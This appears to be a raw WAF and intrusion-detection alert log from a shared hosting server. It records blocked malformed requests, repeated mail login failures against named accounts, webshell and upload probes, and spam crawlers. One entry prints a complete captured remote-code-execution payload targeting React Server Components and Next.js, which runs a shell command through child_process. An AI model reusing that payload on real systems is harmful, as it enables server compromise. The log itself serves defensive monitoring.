name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.214.87
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/gallo-accoustics-round-sound?Itemid=101&catid=18 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 91.92.46.21
country_id: 798544
domain: elegantautomotives.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:995995.phtm||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77469918
abuser: 91.92.46.21
country_id: 798544
domain: elegantautomotives.com
description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:995995.shtml||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.209.99.222
country_id: 6252001
description:
2026-07-17 19:00:42 dovecot_login authenticator failed for H=(200-153-86-250.customer.tdatabrasil.net.br) [209.209.99.222]:11347: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.173.21.44
country_id: 1880251
description:
2026-07-17 19:01:22 dovecot_login authenticator failed for H=([199.116.114.10]) [165.173.21.44]:45202: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-17 19:01:54 dovecot_login authenticator failed for H=(h31-192-201-106.cust.bredband2.com) [65.20.217.64]:48080: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-17 19:02:13 dovecot_login authenticator failed for H=([118.37.27.11]) [182.95.119.30]:56092: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-17 19:02:29 dovecot_login authenticator failed for H=(ipmapt-72-195-114-188.oc.oc.cox.net) [49.158.208.139]:59374: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.214.211.247
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/131799468 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.149.78.58
country_id: 6290252
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/13570892 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-17 19:03:51 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp (broadband-95-84-137-185.ip.moscow.rt.ru) [218.219.193.151]:53586: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.199.17
country_id: 3017382
description:
2026-07-17 19:04:17 dovecot_login authenticator failed for H=vps-36f1e8f3.vps.ovh.net ([185.131.14.43]) [135.125.199.17]:38746: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.48.46.95
country_id: 3017382
description:
2026-07-17 19:04:19 dovecot_login authenticator failed for H=([72.212.176.37]) [5.48.46.95]:58426: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.76.203
country_id: 1269750
description:
2026-07-17 19:04:25 dovecot_login authenticator failed for H=([206.220.175.5]) [106.201.76.203]:6271: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-17 19:04:30 dovecot_login authenticator failed for H=([199.102.105.241]) [117.250.250.2]:51170: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-17 19:04:48 dovecot_login authenticator failed for H=([61.37.150.35]) [182.95.106.102]:48448: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.138.31.134
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1d3322178 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.222.206.23
country_id: 2328926
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1e1753501 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 84.75.155.37
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/cgi-sys/ea-php82/index.php?add-to-cart=1294||QS:add-to-cart=1294||RSV:8.30||T:APACHE||


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 17 19:09:33 vps sshd[1969148]: error: kex_exchange_identification: read: Connection reset by peer


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.210.56.228
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/231491068 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.182.73.81
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/25877746 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-17 19:10:13 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([120.234.195.41]) [111.70.38.54]:52335: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.34.149
country_id: 1835841
description:
2026-07-17 19:10:17 dovecot_login authenticator failed for H=(102-220-158-10.simbafiber.co.zm) [211.63.34.149]:39623: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.190.16.140
country_id: 1562822
description:
2026-07-17 19:10:22 dovecot_login authenticator failed for H=(visaotur.sdr.gvt.net.br) [113.190.16.140]:44407: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.6.164.242
country_id: 3932488
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/26405929 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.97.94
country_id: 1269750
description:
2026-07-17 19:09:56 dovecot_login authenticator failed for H=(abts-mum-dynamic-203.76.201.106.airtelbroadband.in) [122.170.97.94]:39236: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.183.45.182
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/263166559 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.52.145.81
country_id: 2542007
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/272925559 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.178.85.125
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers-2?Itemid=101&catid=18 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.191.88.231
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/321423419 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.92.45
country_id: 2802361
description:
2026-07-17 19:14:20 dovecot_login authenticator failed for H=([1.237.155.150]) [91.86.92.45]:58208: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.252
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://tarisboost.com/services/aoc-tailoring-leveling/\">adventure travel</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.85.128.209
country_id: 2510769
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/33689932 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.51.69.58
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/342419310 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.185.190.83
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3576991 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 64.137.193.103
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/372155168 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.181.160.41
country_id: 2029969
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/373821390 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/bigdump.php||SC:/home/ahsmarine/public_html/uploads||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 172.202.76.205
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/5drd24.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.199.205.59
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/383845912 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.237.194.154
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3c419945 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.132.69
country_id: 587116
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/443669463 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.78.254.193
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/structured-cabling-systems HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-17 19:23:28 dovecot_login authenticator failed for H=(wsip-68-225-61-156.pn.at.cox.net) [98.122.215.23]:52370: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.187.5.59
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4c1748778 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.16
country_id: 1861060
description:
2026-07-17 19:24:02 dovecot_login authenticator failed for H=([111.26.62.42]) [212.135.208.16]:42259: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-17 19:24:25 dovecot_login authenticator failed for H=([119.152.35.205]) [27.110.176.222]:51157: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-17 19:26:09 dovecot_login authenticator failed for H=([218.4.110.186]) [61.97.17.208]:52805: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.106.105.86
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/56487674 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.232.69
country_id: 6252001
description:
2026-07-17 19:26:33 dovecot_login authenticator failed for H=wsip-70-183-232-69.pn.at.cox.net (wsip-72-215-46-109.pn.at.cox.net) [70.183.232.69]:59041: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.47.230.165
country_id: 3175395
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/571578748 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.42.119.207
country_id: 290291
description:
2026-07-17 19:27:18 dovecot_plain authenticator failed for H=(unced) [46.42.119.207]:48170: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.255.126.72
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:19-28.185.255.126.72||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.201.244.162
country_id: 6252001
description:
2026-07-17 19:28:54 dovecot_login authenticator failed for H=f1.roos.com ([31.192.199.234]) [64.201.244.162]:14888: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-07-17 19:29:08 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net ([178.177.40.23]) [111.70.28.243]:51870: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-17 19:29:17 dovecot_login authenticator failed for H=([14.20.73.26]) [207.254.29.22]:62875: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 159.0.140.170
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/62161962 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.42.181.178
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/621755086 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-17 19:29:52 dovecot_login authenticator failed for H=([49.124.153.29]) [182.95.119.30]:41662: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.109.56.141
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/453492692 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-17 19:31:21 dovecot_login authenticator failed for H=(85-18-115-154.ip.mob-sol.it) [94.16.17.140]:55794: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.74.230.90
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/513309378 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.164.111.251
country_id: 6252001
description:
2026-07-17 19:32:45 dovecot_login authenticator failed for H=c-174-164-111-251.hsd1.wa.comcast.net (wsip-64-207-241-177.tu.ok.cox.net) [174.164.111.251]:57132: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.132.183.177
country_id: 1210997
domain: interceptorglobal.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/interceptorglobal.in/ HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.189.98.215
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/501749537 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-17 19:33:09 dovecot_login authenticator failed for H=(vps-b674cd8d.vps.ovh.net) [182.95.101.182]:50954: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.5.234.249
country_id: 3144096
description:
2026-07-17 19:33:43 dovecot_login authenticator failed for H=([89.111.237.150]) [185.5.234.249]:38844: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 136.67.44.178
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.30||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-17 19:36:05 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca ([95.35.26.164]) [24.207.66.154]:60834: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.230.234.15
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5e1830600 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.136.148.120
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5f2864353 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-17 19:38:05 dovecot_login authenticator failed for H=([114.94.211.10]) [38.148.99.59]:48764: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.13.207.39
country_id: 3077311
description:
2026-07-17 19:38:12 dovecot_login authenticator failed for H=46-13-207-39.customers.tmcz.cz (aes-static-057.154.22.125.airtel.in) [46.13.207.39]:35251: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.144.113.157
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/61660760 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.247.116.191
country_id: 3865483
description:
2026-07-17 19:39:48 dovecot_login authenticator failed for H=([182.225.30.195]) [190.247.116.191]:49184: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-07-17 19:40:13 dovecot_login authenticator failed for H=a4.ucndns.in ([213.235.25.2]) [103.252.168.4]:46033: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.162
country_id: 337996
description:
2026-07-17 19:41:08 dovecot_login authenticator failed for H=([37.204.111.153]) [196.190.43.162]:54620: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.195.68.74
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/63849745 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.159.115.108
country_id: 3608932
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/651301895 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.85.168
country_id: 2661886
description:
2026-07-17 19:40:57 dovecot_login authenticator failed for H=h79-138-85-168.cust.bredband2.com ([142.54.231.33]) [79.138.85.168]:39112: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.253.34.151
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/66578857 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.36.232.241
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/693192947 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.224.242.108
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/693666460 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.46.236.251
country_id: 146669
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/71747182 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.190.215.195
country_id: 6252001
description:
2026-07-17 19:46:37 dovecot_login authenticator failed for H=([183.106.178.212]) [146.190.215.195]:58828: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.48.253.225
country_id: 1835841
description:
2026-07-17 19:46:56 dovecot_login authenticator failed for H=(201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [14.48.253.225]:48086: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 94.26.106.214
country_id: 2921044
domain: ogocindia.com
description:
IM360 WAF: Bad file extension||RSV:8.30||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ogocindia||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.198
country_id: 2328926
description:
2026-07-17 19:48:54 dovecot_login authenticator failed for H=(189-108-129-173.customer.tdatabrasil.net.br) [41.207.248.198]:43420: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.144.203
country_id: 2077456
description:
2026-07-17 19:49:10 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [203.221.144.203]:45520: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.83.150.204
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/822457221 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.225.116.117
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/824233 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-17 19:50:44 dovecot_login authenticator failed for H=(static.ill.117.211.15.106.bsnl.co.in) [112.160.57.196]:37980: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.39.242.115
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 explore crypto-accepting stores (<a href=\"https://buyonlinewithcrypto.com/\">https://buyonlinewithcrypto.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.127.33.101
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.10.134.170
country_id: 1210997
description:
2026-07-17 19:50:55 dovecot_login authenticator failed for H=(119.92.76.213.static.pldt.net) [157.10.134.170]:53262: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/bigdump.php||SC:/home/cochinbigbandsho/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
